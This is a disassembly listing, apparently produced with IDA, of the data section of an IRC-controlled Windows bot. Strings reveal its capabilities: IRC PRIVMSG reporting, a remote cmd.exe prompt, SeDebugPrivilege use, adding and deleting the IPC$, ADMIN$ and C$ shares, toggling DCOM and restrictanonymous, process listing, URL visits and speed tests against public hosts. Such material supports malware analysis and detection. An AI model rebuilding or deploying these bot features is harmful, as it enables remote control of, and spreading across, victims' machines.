		dd offset dword_450BB0+28h
		dd offset dword_450BB0+3Ch
		dd offset dword_450BB0+48h
		dd offset dword_450BB0+54h
		dd offset dword_450BB0+60h
		dd offset dword_450BB0+6Ch
		dd offset dword_450BB0+78h
		dd offset dword_450BB0+84h
		dd offset dword_450C44
		dd offset dword_450C44+0Ch
		dd offset dword_450C44+18h
		dd offset dword_450C44+24h
		dd offset dword_450C74
		dd offset dword_450C74+10h
		dd offset dword_450C74+1Ch
aSedebugprivi_1	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A334+5Ao
		align 4
aSD		db ' %s (%d)',0         ; DATA XREF: sub_41A334+17Ao
		align 10h
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41A334+188o
		align 4
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_41A334+19Co
		align 4
aSedebugprivi_2	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A334+204o
		align 4
unk_450D4C	db  2Dh	; -		; DATA XREF: sub_41A574+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
unk_450D6C	db  2Dh	; -		; DATA XREF: sub_41A574+86o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_450D90	db  2Dh	; -		; DATA XREF: sub_41A574:loc_41A601o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
aPrivmsgSS_2	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A711+33o
aS_18		db '%s',0               ; DATA XREF: sub_41A711+4Co
		align 4
unk_450DC8	db  2Dh	; -		; DATA XREF: sub_41A798:loc_41A87Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_450DF8	db  2Dh	; -		; DATA XREF: sub_41A798+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_450E20	db  2Dh	; -		; DATA XREF: sub_41A798:loc_41A8CAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0	db 'cmd.exe',0          ; DATA XREF: sub_41A8ED+20o
unk_450E58	db  2Dh	; -		; DATA XREF: sub_41A8ED+150o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
unk_450E7C	db  2Dh	; -		; DATA XREF: sub_41A8ED+198o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 10h
aIpc		db 'IPC$',0             ; DATA XREF: .packed:off_450ED0o
		align 4
aAdmin_1	db 'ADMIN$',0           ; DATA XREF: .packed:00450ED8o
		align 10h
aC_0		db 'C$',0               ; DATA XREF: .packed:00450EE0o
		align 4
aC_1		db 'C:\',0              ; DATA XREF: .packed:00450EE4o
aD_2		db 'D$',0               ; DATA XREF: .packed:00450EE8o
		align 4
aD_3		db 'D:\',0              ; DATA XREF: .packed:00450EECo
off_450ED0	dd offset aIpc		; DATA XREF: sub_41AB05:loc_41ACBAr
					; sub_41AB05+1C3r ...
					; "IPC$"
dword_450ED4	dd 0			; DATA XREF: sub_41AE2B:loc_41AFA6r
		dd offset aAdmin_1	; "ADMIN$"
		align 10h
		dd offset aC_0		; "C$"
		dd offset aC_1		; "C:\\"
		dd offset aD_2		; "D$"
		dd offset aD_3		; "D:\\"
word_450EF0	dw 4Eh			; DATA XREF: sub_41AB05+38r
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41AB05+54o
		align 10h
dword_450F00	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05+6Co
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
dword_450F24	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41AB05:loc_41AB78o
		dd 62617369h, 2E64656Ch, 0
dword_450F44	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41AB05+EDo
		align 4
dword_450F88	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05+10Co
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
dword_450FC4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05:loc_41AC18o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_450FF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05:loc_41AC30o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_451034	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05:loc_41AC37o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_451064	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05+1D3o
aShareSDeleted_	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_451088	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05:loc_41ACDFo
aFailedToDelete	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_4510B4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05+263o
aShareSDelete_0	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_4510D8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05:loc_41AD6Fo
aFailedToDele_0	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_451104	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05+2D1o
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_45112C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AB05+2E7o
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
word_45115C	dw 59h			; DATA XREF: sub_41AE2B+38r
		align 10h
aEnabledcom_0	db 'EnableDCOM',0       ; DATA XREF: sub_41AE2B+54o
		align 4
dword_45116C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B+6Co
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 10h
dword_451190	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41AE2B:loc_41AE9Eo
		dd 6C62616Eh, 2E6465h
dword_4511AC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B+91o
aFailedToOpen_1	db '- Failed to open DCOM registry key.',0
aRestrictanon_0	db 'restrictanonymous',0 ; DATA XREF: sub_41AE2B+EDo
		align 10h
dword_4511F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B+108o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 10h
dword_451230	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B:loc_41AF3Ao
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_451268	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B:loc_41AF52o
aFailedToOpen_2	db '- Failed to open IPC$ restriction registry key.',0
dword_4512A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B:loc_41AF59o
aAdvapi32_dll_0	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_4512D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B+1A0o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_4512F4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B:loc_41AFD2o
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
aC_2		db '%c$',0              ; DATA XREF: sub_41AE2B+21Bo
aC_3		db '%c:\',0             ; DATA XREF: sub_41AE2B+22Co
		align 4
dword_451328	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B+26Eo
aShareSAdded__0	db '- Share ',27h,'%s',27h,' added.',0
dword_451348	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B:loc_41B0A0o
aFailedToAddS_0	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_451370	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B+2C5o
aNetworkSharesA	db '- Network shares added.',0
dword_451394	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AE2B+2DDo
aNetapi32_dll_1	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 8
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B161+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
asc_4513FC	db 0Dh,0Ah,0		; DATA XREF: sub_41B161+F2o
		align 10h
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41B33E+15o
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41B33E+1Co
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41B33E+23o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41B33E+2Ao
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41B33E+31o
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41B33E+38o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41B33E+3Fo
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41B33E+46o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41B33E+4Do
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41B33E+54o
		align 4
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41B33E+5Bo
		align 4
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41B33E+62o
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41B33E+69o
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41B33E+70o
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41B33E+77o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41B33E+7Eo
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41B33E+85o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41B33E+8Co
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41B33E+93o
		align 10h
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41B33E+9Ao
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B33E+A1o
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B33E+A8o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41B33E+AFo
		align 4
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41B33E+B6o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41B33E+BDo
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41B33E+C4o
		align 10h
dword_4515B0	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41B33E+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
dword_451610	dd 20646425h, 20686425h, 6D6425h ; DATA	XREF: sub_41B51B+39o
dword_45161C	dd 3539h		; DATA XREF: sub_41B6C1+46o
dword_451620	dd 544Eh		; DATA XREF: sub_41B6C1+5Ao
dword_451624	dd 3839h		; DATA XREF: sub_41B6C1+6Co
dword_451628	dd 454Dh		; DATA XREF: sub_41B6C1+7Eo
dword_45162C	dd 4B32h		; DATA XREF: sub_41B6C1+98o
dword_451630	dd 5058h		; DATA XREF: sub_41B6C1+AAo
a2003		db '2003',0             ; DATA XREF: sub_41B6C1+BAo
		align 4
a???		db '???',0              ; DATA XREF: sub_41B6C1:loc_41B784o
aSS_6		db '%s (%s)',0          ; DATA XREF: sub_41B6C1+EBo
word_451648	dw 3Fh			; DATA XREF: sub_41B6C1:loc_41B7C3r
		align 4
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B6C1:loc_41B825o
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41B6C1+192o
aHhMmSs_0	db 'HH:mm:ss',0         ; DATA XREF: sub_41B6C1+1AEo
		align 10h
dword_451680	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41B6C1+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_45175C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B975+48o
dword_45176C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B975+5Eo
off_451774	dd offset dword_4E414C	; DATA XREF: sub_41B975:loc_41B9E2o
off_451778	dd offset loc_412F4D+1	; DATA XREF: sub_41B975+77o
off_45177C	dd offset loc_412F4D+1	; DATA XREF: sub_41B975+88o
dword_451780	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B975+AEo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
dword_4517C4	dd 2A2F2Ah		; DATA XREF: sub_41BA41+3Bo
dword_4517C8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41BA41+192o
		dd 64657469h, 2Eh
unk_4517E4	db  2Dh	; -		; DATA XREF: sub_41BA41:loc_41BBDAo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_451820	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41BA41+1A6o
		dd 4C525520h, 2Eh
unk_45183C	db  2Dh	; -		; DATA XREF: sub_41BA41:loc_41BBF7o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
unk_451868	db  2Dh	; -		; DATA XREF: sub_41BA41:loc_41BBFEo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
dword_4518A0	dd 1			; DATA XREF: sub_41BF80+10r
					; sub_41BF80+F2r ...
dword_4518A4	dd 25h			; DATA XREF: sub_41BF80:loc_41BFCCr
					; sub_41BF80:loc_41C135r ...
dword_4518A8	dd 0FFFFFFFFh		; DATA XREF: sub_41BF80+58r
					; sub_41C3F0+9Er ...
byte_4518AC	db 0FDh			; DATA XREF: sub_41BF80+2B7r
					; sub_41BF80+2D1r ...
byte_4518AD	db 0DDh			; DATA XREF: sub_41CA80+257r
					; sub_41CA80+39Br ...
byte_4518AE	db 0CDh			; DATA XREF: sub_41BF80+2F1r
					; sub_41C3F0+377r
		align 10h
off_4518B0	dd offset aFree		; DATA XREF: sub_41CA80+177r
					; sub_41CA80+1DDr ...
					; "Free"
		dd offset dword_43C514+20h
		dd offset dword_43C514+1Ch
		dd offset dword_43C514+14h
		dd offset dword_43C514+0Ch
		align 10h
dword_4518D0	dd 173Fh		; DATA XREF: sub_41FFF0+Br
		dd 9875h, 9873h
off_4518DC	dd offset sub_420130	; DATA XREF: sub_41E860+3r
					; sub_41E860+Cr
		dd offset sub_420160
		dd offset sub_420160
dword_4518E8	dd 1B3Fh		; DATA XREF: sub_420210+Br
dword_4518EC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_4207FD+2o
					; sub_420806+2o
off_451900	dd offset sub_41E8C0	; DATA XREF: sub_422270+22r
dword_451904	dd 2			; DATA XREF: sub_42FEE0+15r
					; sub_42FF30+86r ...
off_451908	dd offset dword_4F3AE0	; DATA XREF: sub_4222D0+B3o
					; sub_422420+3o ...
		align 10h
		dd offset dword_4F3AE0
		dd 101h
dword_451918	dd 0FFFFFFFFh		; DATA XREF: sub_4222D0+11Cw
		dd 0
		dd 1000h, 0
dword_451928	dd 3 dup(0)		; DATA XREF: sub_427CE0+111o
					; sub_429C90:loc_429CE3o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_451948	dd 3 dup(0)		; DATA XREF: sub_427CE0+11Ao
					; sub_429C90:loc_429CF5o
		dd 2, 0FFFFFFFFh, 83h dup(0)
dword_451B68	dd 8 dup(0)		; DATA XREF: sub_422420+Co
					; sub_422490+Co
dword_451B88	dd 0FFFFFFFFh		; DATA XREF: sub_422610+80o
					; sub_422610+108o ...
dword_451B8C	dd 2			; DATA XREF: .packed:0042252Er
					; .packed:00422549r ...
		dd 2 dup(4)
dword_451B98	dd 0FFFFFFFFh		; DATA XREF: .packed:00422590r
					; .packed:0042259Cr ...
		dd 2 dup(0FFFFFFFFh)
off_451BA4	dd offset aWarning	; DATA XREF: sub_4229A0+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset dword_43CDF4+8
dword_451BB0	dd 0			; DATA XREF: sub_4231E0+1Fr
					; sub_4231E0+44r ...
off_451BB4	dd offset dword_4F3440	; DATA XREF: sub_4231A0+29r
					; sub_4231E0+8Fr
		dd 7 dup(0)
off_451BD4	dd offset dword_4F3470	; DATA XREF: sub_4231A0+1Cr
					; sub_4231E0:loc_423249r
		dd 3 dup(0)
off_451BE4	dd offset dword_4F3488	; DATA XREF: sub_4231A0+Fr
					; sub_4231E0+75r
		dd 3 dup(0)
off_451BF4	dd offset dword_4F3458	; DATA XREF: sub_4231A0+3r
					; sub_4231E0+82r
		dd 7 dup(0)
		dd 9827F8h, 16h	dup(0)
off_451C70	dd offset sub_423610	; DATA XREF: sub_41BF80+79r
					; sub_41C3F0+C1r ...
		align 8
off_451C78	dd offset off_451C78	; DATA XREF: sub_425D50+Fo
					; sub_425D50+7Ao ...
off_451C7C	dd offset off_451C78	; DATA XREF: sub_425D50:loc_425DE6r
					; sub_425D50+9Fw ...
		dd offset dword_451C90
		dd offset dword_451C90
dword_451C88	dd 0FFFFFFFFh		; DATA XREF: sub_425D50+6r
					; sub_425F30:loc_425F97w
		dd 0FFFFFFFFh
dword_451C90	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.packed:00451C80o
					; .packed:00451C84o
off_453C98	dd offset off_451C78	; DATA XREF: sub_425F30+17r
					; sub_425F30+28w ...
dword_453C9C	dd 1E0h			; DATA XREF: sub_4234C0+AEr
					; sub_423620+146r ...
		dd 10h
off_453CA4	dd offset word_453CAE	; DATA XREF: sub_41DF10+7Cr
					; sub_41E610+2Dr ...
off_453CA8	dd offset word_453CAE	; DATA XREF: sub_434A80+2A4w
					; sub_434A80+35Bw ...
		db 2 dup(0)
word_453CAE	dw 20h			; DATA XREF: sub_434A80:loc_434DD1o
					; sub_434A80+35Bo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_453EB0	dd 1			; DATA XREF: sub_41DF10+4Er
					; sub_41E610:loc_41E616r ...
byte_453EB4	db 2Eh			; DATA XREF: sub_429E90:loc_42AD17r
					; sub_429E90+ED2r ...
		align 4
dword_453EB8	dd 1			; DATA XREF: sub_4342F0+169w
					; sub_4342F0+296w
off_453EBC	dd offset aNull_0	; DATA XREF: sub_427F60:loc_4283A2r
					; sub_427F60+57Cr
					; "(null)"
off_453EC0	dd offset aNull		; DATA XREF: sub_427F60+514r
					; "(null)"
dword_453EC4	dd 2			; DATA XREF: sub_428E00+Fw
					; sub_428E00+14r ...
byte_453EC8	db 1			; DATA XREF: sub_4290B0+12Fr
		db 2, 4, 8
		align 10h
dword_453ED0	dd 3A4h			; DATA XREF: sub_4290B0+7Er
word_453ED4	dw 8260h		; DATA XREF: sub_4290B0+192r
		dw 8279h
		dd 21h,	0
dword_453EE0	dd 0DFA6h		; DATA XREF: sub_4290B0+D5r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_453FC0	dd 1			; DATA XREF: sub_4299F0+2Cr
dword_453FC4	dd 16h			; DATA XREF: sub_4299F0+3Dr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_454128	dd 0D2D0920h, 5Dh	; DATA XREF: sub_429E90:loc_42A2B2o
dword_454130	dd 5Dh,	0		; DATA XREF: sub_429E90:loc_42A28Do
dword_454138	dd 14h			; DATA XREF: sub_42BF40+1Fr
off_45413C	dd offset aExp		; DATA XREF: sub_42BF40+2Er
					; "exp"
		dd 1Dh,	43D2E4h, 1Ah, 43D2E0h, 1Bh, 43D2D8h, 1Fh, 43D2D0h
		dd 13h,	43D2C8h, 21h, 43D2C0h, 0Eh, 43D2B8h, 0Dh, 43D2B0h
		dd 0Fh,	43D2A8h, 10h, 43D2A0h, 5, 43D298h, 1Eh,	43D294h
		dd 12h,	43D290h, 20h, 43D28Ch, 0Ch, 43D284h, 0Bh, 43D27Ch
		dd 15h,	43D274h, 1Ch, 43D26Ch, 19h, 43D264h, 11h, 43D25Ch
		dd 18h,	43D254h, 16h, 43D24Ch, 17h, 43D244h, 22h, 43D240h
		dd 23h,	43D23Ch, 24h, 43D238h
dbl_454210	dq 1.797693134862316e308 ; DATA	XREF: sub_42BAE0+E4r
					; sub_42BAE0:loc_42BBD7r ...
		dd 0
		dd 0FFF80000h
dbl_454220	dq 1.797693134862316e308 ; DATA	XREF: sub_42BAE0:loc_42BC1Ar
					; sub_42BAE0+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_454238	dt 2.3562723457267347066e313 ; DATA XREF: sub_42C330+13r
					; sub_42C330+2Ar
		align 4
tbyte_454244	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42C330+41r
		align 10h
off_454250	dd offset sub_42CB20	; DATA XREF: sub_420170+3w
					; sub_427F60+6ADr
off_454254	dd offset sub_42C530	; DATA XREF: sub_420170+Dw
					; sub_427F60+6F1r
off_454258	dd offset sub_42C640	; DATA XREF: sub_420170+17w
					; sub_429E90+1138r
off_45425C	dd offset sub_42C480	; DATA XREF: sub_420170+21w
					; sub_427F60+6CFr
off_454260	dd offset sub_42C610	; DATA XREF: sub_420170+2Bw
off_454264	dd offset sub_42CB20	; DATA XREF: sub_420170+35w
		dd offset sub_432EE0
		align 10h
off_454270	dd offset sub_42D860	; DATA XREF: sub_42D910+2Dr
					; sub_42D910+3Dr
dword_454274	dd 43h			; DATA XREF: sub_42DE80:loc_42DFECo
					; .packed:00454390o ...
dword_454278	dd 43h,	20h dup(0)	; DATA XREF: sub_42E120+8Do
					; sub_42E120+117o ...
dword_4542FC	dd 43h,	20h dup(0)	; DATA XREF: sub_42E120+74o
					; sub_42E120+FCo ...
off_454380	dd offset aLc_all	; DATA XREF: .packed:0042DC0Fr
					; .packed:0042DC28r ...
					; "LC_ALL"
dword_454384	dd 0			; DATA XREF: .packed:0042DB07r
					; .packed:0042DDB0r ...
off_454388	dd offset sub_42E2B0	; DATA XREF: sub_42DE80+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_454274
		dd offset sub_434E20
		dd offset aLc_ctype	; "LC_CTYPE"
off_45439C	dd offset dword_454274	; DATA XREF: sub_42E020+F0r
		dd offset sub_434A80
		dd offset aLc_monetary	; "LC_MONETARY"
		dd offset dword_454274
		dd offset sub_434620
		dd offset aLc_numeric	; "LC_NUMERIC"
		dd offset dword_454274
		dd offset sub_4342F0
		dd offset aLc_time	; "LC_TIME"
		dd offset dword_454274
		dd offset sub_433970
dword_4543C8	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_428EC0+6o
					; .packed:0042904Eo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_454440	dd 3			; DATA XREF: sub_42EFB0+98r
					; sub_42EFB0:loc_42F05Br ...
dword_454444	dd 7			; DATA XREF: sub_42EFB0+B1r
					; sub_4307E0+17Dr
dword_454448	dd 78h			; DATA XREF: .packed:00430658r
					; .packed:00430676r
dword_45444C	dd 0Ah			; DATA XREF: sub_42F170+1Dr
					; sub_42F170:loc_42F1A2r ...
dword_454450	dd 0FFFFFFFFh, 0A00h, 8	dup(0) ; DATA XREF: sub_427100:loc_427256o
					; sub_427CE0:loc_427ED9o
dword_454478	dd 2			; DATA XREF: sub_42FF30+2Ar
					; sub_42FF30+3Dr ...
off_45447C	dd offset aR6002FloatingP ; DATA XREF: sub_42FF30+56r
					; sub_42FF30+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 43D694h, 9, 43D668h, 0Ah,	43D644h, 10h, 43D618h
		dd 11h,	43D5E8h, 12h, 43D5C4h, 13h, 43D598h, 18h, 43D560h
		dd 19h,	43D538h, 1Ah, 43D500h, 1Bh, 43D4C8h, 1Ch, 43D4A0h
		dd 78h,	43D490h, 79h, 43D480h, 7Ah, 43D470h, 0FCh, 43D46Ch
		dd 0FFh, 43D45Ch, 2 dup(0)
dword_454510	dd 2694h		; DATA XREF: sub_42B3B0+3r
					; .packed:0042B41Fr ...
		align 8
dword_454518	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_432A20+3o
dword_454530	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_432A40+3o
dword_454548	dd 7080h		; DATA XREF: sub_42D9A0+92r
					; sub_433090+80w ...
dword_45454C	dd 1			; DATA XREF: sub_42D9A0+C2r
					; sub_433090+BFw ...
dword_454550	dd 0FFFFF1F0h		; DATA XREF: sub_42D9A0+DEr
					; sub_433090+D7w ...
dword_454554	dd 545350h, 0Fh	dup(0)	; DATA XREF: .packed:off_4545D4o
dword_454594	dd 544450h, 0Fh	dup(0)	; DATA XREF: .packed:off_4545D8o
off_4545D4	dd offset dword_454554	; DATA XREF: sub_433090+FAr
					; sub_433090+123r ...
